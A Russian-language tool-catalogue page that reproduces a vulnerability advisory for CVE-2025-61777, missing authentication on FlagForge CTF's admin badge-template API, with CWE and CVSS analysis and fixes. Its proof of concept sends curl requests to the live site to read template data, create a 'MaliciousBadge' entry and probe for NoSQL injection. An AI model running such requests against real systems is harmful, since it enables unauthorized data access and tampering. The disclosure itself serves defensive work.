Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-61777 — CVE на FlagForgeCTF в версиях с v2.0.0 по v2.3.1. Обновлено до версии 2.3.2 для устранения проблемы. | Kitploit
Инструменты/GitHubGitHub/0x0w1z/cve-2025-61777
Анализ уязвимостейЭксплуатацияВеб-безопасностьТестирование на ПроникновениеБезопасность API
GitHub0x0w1z/cve-2025-61777

CVE-2025-61777

CVE на FlagForgeCTF в версиях с v2.0.0 по v2.3.1. Обновлено до версии 2.3.2 для устранения проблемы.

Репозиторий
210 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-61777

1. Несанкционированная модификация шаблонов значков на FlagforgeCTF CVE-2025-61777

Краткое описание

Приложение Flagforge (https://flagforge.xyz) раскрывает критические уязвимости в своих административных API-эндпоинтах, а именно /api/admin/badge-templates (GET) и /api/admin/badge-templates/create (POST). Оба эндпоинта не имеют контроля аутентификации и авторизации, что позволяет неаутентифицированным пользователям получать конфиденциальные данные шаблонов значков и создавать произвольные шаблоны в базе данных MongoDB. Это может привести к несанкционированному раскрытию данных, загрязнению базы данных или злоупотреблению системой значков (например, созданию вредоносных или спам-шаблонов).

Описание

Затронутые эндпоинты

  1. GET /api/admin/badge-templates:
    • Возвращает JSON-массив всех шаблонов значков, хранящихся в коллекции MongoDB badgeTemplates.
    • Раскрываемые поля включают _id, name, description, icon, color, isActive, createdBy, createdAt, updatedAt и __v.
    • Не требуются заголовки аутентификации, API-ключи или проверки сессий, что делает эндпоинт общедоступным.
    • Пример ответа (из cURL):
root@kitploit:~
    x0w1z   ~  curl -i https://flagforge.xyz/api/admin/badge-templates
HTTP/2 200
access-control-allow-origin: https://flagforge.xyz
age: 0
cache-control: no-store, no-cache, must-revalidate, proxy-revalidate
content-type: application/json
date: Sat, 27 Sep 2025 11:17:35 GMT
permissions-policy: geolocation=(), microphone=(), camera=(), payment=()
pragma: no-cache
referrer-policy: no-referrer
server: Vercel
strict-transport-security: max-age=31536000; includeSubDomains; preload
vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch
x-content-type-options: nosniff
x-frame-options: DENY
x-matched-path: /api/admin/badge-templates
x-vercel-cache: MISS
x-vercel-id: bom1::iad1::kbnlf-1758971855497-e981648f08c6
x-xss-protection: 1; mode=block
{"success":true,"templates":[{"_id":"68d18c6b3ddde4c2825273a1","name":"Staff","description":"Awarded for behind-the-scenes work that powers the community forward.","icon":"/badges/images/badge-1758563431839-63u7vxws5u.png","color":"#8B5CF6","isActive":true,"createdBy":"Lagzen Thakuri","createdAt":"2025-09-22T17:50:35.138Z","updatedAt":"2025-09-22T17:50:35.138Z","__v":0},{"_id":"68d18c073ddde4c282527398","name":"Bug Hunter","description":"Awarded for sharp eyes and a hacker’s mindset in finding weaknesses.","icon":"/badges/images/badge-1758563324750-h7zfukwxw7.png","color":"#8B5CF6","isActive":true,"createdBy":"Lagzen Thakuri","createdAt":"2025-09-22T17:48:55.675Z","updatedAt":"2025-09-22T17:48:55.675Z","__v":0},{"_id":"68ccfd395b3791025b51c200","name":"Security Researcher","description":"Earned by pushing boundaries and digging deeper into security.","icon":"/badges/custom/badge-1758264629375-0y4fdhdxjy5.png","color":"#8B5CF6","isActive":true,"createdBy":"[email protected]","createdAt":"2025-09-19T06:50:33.108Z","updatedAt":"2025-09-19T06:50:33.108Z","__v":0}],"count":3}%
  1. POST /api/admin/badge-templates/create:
    • Позволяет создавать новые шаблоны значков с управляемыми пользователем полями: name, description, icon, color, isActive и createdBy.
    • Минимальные проверки на наличие name, description и icon, а также проверка отсутствия дубликата name.
    • Отсутствуют проверки аутентификации или авторизации, что позволяет любому вставлять данные в базу данных.
    • Пример кода (из предоставленного исходного кода):
      root@kitploit:~
      const templateDoc = {
        name: name.trim(),
        description: description.trim(),
        icon: icon.trim(),
        color: color || '#8B5CF6',
        isActive: isActive !== undefined ? isActive : true,
        createdAt: new Date(),
        createdBy: createdBy || 'unknown'
      };
      const result = await db.collection('badgeTemplates').insertOne(templateDoc);
      

Слабые места

  • CWE-200: Раскрытие конфиденциальной информации неавторизованному субъекту (эндпоинт GET): Раскрывает идентификаторы пользователей (например, Lagzen Thakuri, [email protected]) и метаданные, что позволяет проводить разведку или фишинг.
  • CWE-306: Отсутствие аутентификации для критической функции (оба эндпоинта): Отсутствует контроль доступа к административным маршрутам.
  • CWE-284: Ненадлежащий контроль доступа (оба эндпоинта): Позволяет несанкционированное получение и изменение данных.
  • Потенциальная NoSQL-инъекция: Хотя эндпоинт POST явно деструктурирует поля, эндпоинт GET может быть уязвим, если он поддерживает параметры запроса (например, ?name[$ne]=test).
  • Риск загрязнения журналов: Эндпоинт POST регистрирует управляемые пользователем name и createdBy, что может быть использовано для спама в журналах или инъекций.

Оценка CVSS v3.1

  • Базовый балл: 9.1 (Критический)
  • Вектор: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
    • Вектор атаки (AV): Сеть (общедоступные эндпоинты).
    • Сложность атаки (AC): Низкая (не требуются особые условия).
    • Требуемые привилегии (PR): Отсутствуют (аутентификация не требуется).
    • Взаимодействие с пользователем (UI): Отсутствует (прямые HTTP-запросы).
    • Область действия (S): Не изменяется (затрагивает само приложение).
    • Конфиденциальность (C): Высокая (раскрывает пользовательские данные).
    • Целостность (I): Высокая (позволяет произвольное создание данных).
    • Доступность (A): Низкая (потенциальный DoS через массовое создание шаблонов).

Затронутые системы

  • Приложение: Flagforge (https://flagforge.xyz)
  • Компоненты:
    • API-маршруты Next.js: /api/admin/badge-templates (GET) и /api/admin/badge-templates/create (POST).
    • База данных MongoDB: коллекция badgeTemplates.
  • Хостинг: Vercel (бессерверный, определено по заголовку server: Vercel).
  • Версии: Неизвестны (предположительно Next.js 13+ на основе синтаксиса NextRequest/NextResponse).
  • Зависимости: Драйвер MongoDB (через пользовательскую утилиту подключения @/utlis/db), Next.js.

Воздействие

  • Конфиденциальность: Раскрытие идентификаторов пользователей (createdBy) и метаданных (createdAt, updatedAt), которые могут быть использованы для социальной инженерии или целевых атак.
  • Целостность: Несанкционированное создание шаблонов значков, что потенциально может привести к спаму, фишингу или отображению вредоносного контента в приложении.
  • Доступность: Потенциальный отказ в обслуживании (DoS) путем переполнения эндпоинта POST запросами на создание шаблонов, что потребляет ресурсы базы данных.
  • Эксплуатируемость: Высокая, так как эндпоинты общедоступны через простые HTTP-запросы (например, cURL, Postman) без каких-либо барьеров аутентификации.

Доказательство концепции

  1. Получение конфиденциальных данных (GET):

    root@kitploit:~
    curl https://flagforge.xyz/api/admin/badge-templates
    
    • Возвращает JSON-список всех шаблонов значков, включая конфиденциальные поля, такие как createdBy (например, [email protected]).
  2. Создание несанкционированного шаблона (POST) и удаление шаблонов (DELETE):

    root@kitploit:~
    curl -X POST https://flagforge.xyz/api/admin/badge-templates/create \
      -H "Content-Type: application/json" \
      -d '{"name":"MaliciousBadge","description":"Hacked","icon":"evil.svg","createdBy":"attacker"}'
    
    • Создает новый шаблон в коллекции badgeTemplates.
    • Удаляет шаблоны значков.
    • Проверьте, повторно выполнив GET-запрос, чтобы подтвердить появление нового шаблона.
  3. Потенциальная NoSQL-инъекция (GET, если поддерживаются параметры запроса):

    root@kitploit:~
    curl https://flagforge.xyz/api/admin/badge-templates?name[$regex]=.*
    
    • Проверьте, обрабатывает ли эндпоинт операторы MongoDB, что может обойти фильтры или раскрыть дополнительные данные.

Рекомендации

Немедленные исправления

  1. Внедрение аутентификации:
    • Добавьте промежуточное ПО для проверки личности пользователя (например, JWT, NextAuth.js или API-ключи) для обоих эндпоинтов.
      root@kitploit:~
      // Пример промежуточного ПО для эндпоинта POST
      export async function POST(request: NextRequest) {
        const authHeader = request.headers.get('authorization');
        if (!authHeader || !verifyToken(authHeader)) { // Реализуйте verifyToken
          return NextResponse.json({ error: 'Unauthorized' }, { status: 401 });
        }
        // ... существующий код ...
      }
      
  2. Ограничение эндпоинта GET:
    • Ограничьте эндпоинт GET только аутентифицированными администраторами или возвращайте минимальные данные (например, исключите createdBy).
    • Если поддерживаются параметры запроса, очищайте входные данные для предотвращения NoSQL-инъекций.

Ссылки

  • CWE-200: https://cwe.mitre.org/data/definitions/200.html
  • CWE-306: https://cwe.mitre.org/data/definitions/306.html
  • CWE-284: https://cwe.mitre.org/data/definitions/284.html
  • OWASP API Security Top 10: https://owasp.org/www-project-api-security/
  • Калькулятор CVSS v3.1: https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator
Скачать инструмент